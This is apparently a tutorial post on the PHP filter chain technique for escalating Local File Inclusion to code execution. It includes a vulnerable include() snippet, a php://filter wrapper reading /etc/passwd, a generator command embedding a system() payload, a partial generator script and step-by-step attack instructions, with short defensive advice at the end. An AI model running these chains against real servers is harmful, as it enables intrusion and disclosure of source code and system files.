Overview

PHP Filter Chain is a powerful exploitation technique that can be used in Local File Inclusion (LFI) vulnerabilities to achieve code execution. This post explains how PHP wrappers and filter chains work, and how they can be used to bypass security restrictions.

PHP Filter Gadget Chain

PHP Filter Gadget Chain is an attack technique that uses encoding and decoding repetitively to inject attacker code when a server is vulnerable to LFI through include() functions. While LFI vulnerabilities themselves may have limited impact, this technique becomes particularly useful when extension validation is implemented.

Key characteristics:

• Uses PHP filters for exploitation
• Allows attackers to choose which files to include in the LFI attack
• Particularly effective against applications that check file extensions

PHP Wrappers

PHP wrappers become useful when applications attempt to restrict LFI by appending file extensions. For example, consider the following vulnerable code:

<?php
    $file = $_GET['file_name'];
    include('file_name'+'.php');
?>

In older PHP versions, null byte attacks could bypass such restrictions, but as PHP evolved, these techniques became ineffective. This is where PHP wrappers come into play:

php://filter/convert.base64-encode/resource=/etc/passwd

When used with LFI, this wrapper doesn’t render the PHP file. Instead, it encodes the actual source code in base64 and returns it, allowing attackers to view the raw PHP code.

php://convert.iconv

The convert.iconv wrapper in PHP provides a way to convert between character encodings. If the iconv extension is enabled on the server, attackers can access content through the php://convert.iconv.*.* wrapper:

convert.iconv.<input-encoding>.<output-encoding>
convert.iconv.<input-encoding>/<output-encoding>

For example, to convert a file from UTF-8 to ISO-8859-1:

$file = file_get_contents('php://convert.iconv.UTF-8/ISO-8859-1/resource=file.txt');

Base64 Decoding Quirks

The base64-decode filter has certain quirks when handling padding with = characters, often mishandling them. This behavior can be exploited as part of a chain.

Unicode BOM (Byte Order Mark)

Some encodings add a Byte Order Mark (BOM) at the beginning of encoded results to indicate byte ordering for the system. Interestingly, if you add @_> to a string, the base64-decode filter recognizes this as a BOM and ignores it during decoding:

$ php -r "echo base64_decode('@_>YmFzZTY0');"
base64

Through repeated encoding and decoding, “garbage” BOMs accumulate in front of the data. By repeating this process strategically, attackers can construct desired data payloads.

Automated Exploitation

This complex process can be automated using the PHP Filter Chain Generator tool:

python3 php_filter_chain_generator.py --chain '<?php system("find /readflag -name readflag -exec cat {} \\; 2>&1"); ?> '

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...

Alternative Implementation

Here’s another implementation of the filter chain generator:

#!/usr/bin/env python3
import argparse
import base64
import re

# Conversions dictionary for different character mappings
conversions = {
    '0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
    # ... [dictionary entries continue]
}

def generate_filter_chain(chain, debug_base64 = False):
    encoded_chain = chain
    # generate some garbage base64
    filters = "convert.iconv.UTF8.CSISO2022KR|"
    filters += "convert.base64-encode|"
    # make sure to get rid of any equal signs 
    filters += "convert.iconv.UTF8.UTF7|"

    for c in encoded_chain[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"
    if not debug_base64:
        # don't add the decode while debugging chains
        filters += "convert.base64-decode"

    final_payload = f"php://filter/{filters}/resource={file_to_use}"
    return final_payload

# Main function and CLI handling code...

Practical Usage

To use this technique:

1. Identify a vulnerable PHP application with LFI
2. Generate the appropriate filter chain for your payload
3. Inject the chain into the LFI parameter
4. The server will process the chain and execute your code

Security Implications

This technique demonstrates why proper input validation and secure coding practices are essential. To protect against PHP Filter Chain attacks:

1. Implement strict input validation
2. Avoid using user input in file inclusion functions
3. Use allowlists rather than denylists for file access
4. Consider disabling unnecessary PHP wrappers in production environments

References

• PHP Filter Chain Generator
• PHP Filter Chain Explanation
• Synacktiv: PHP Filters Chain - What is it and how to use it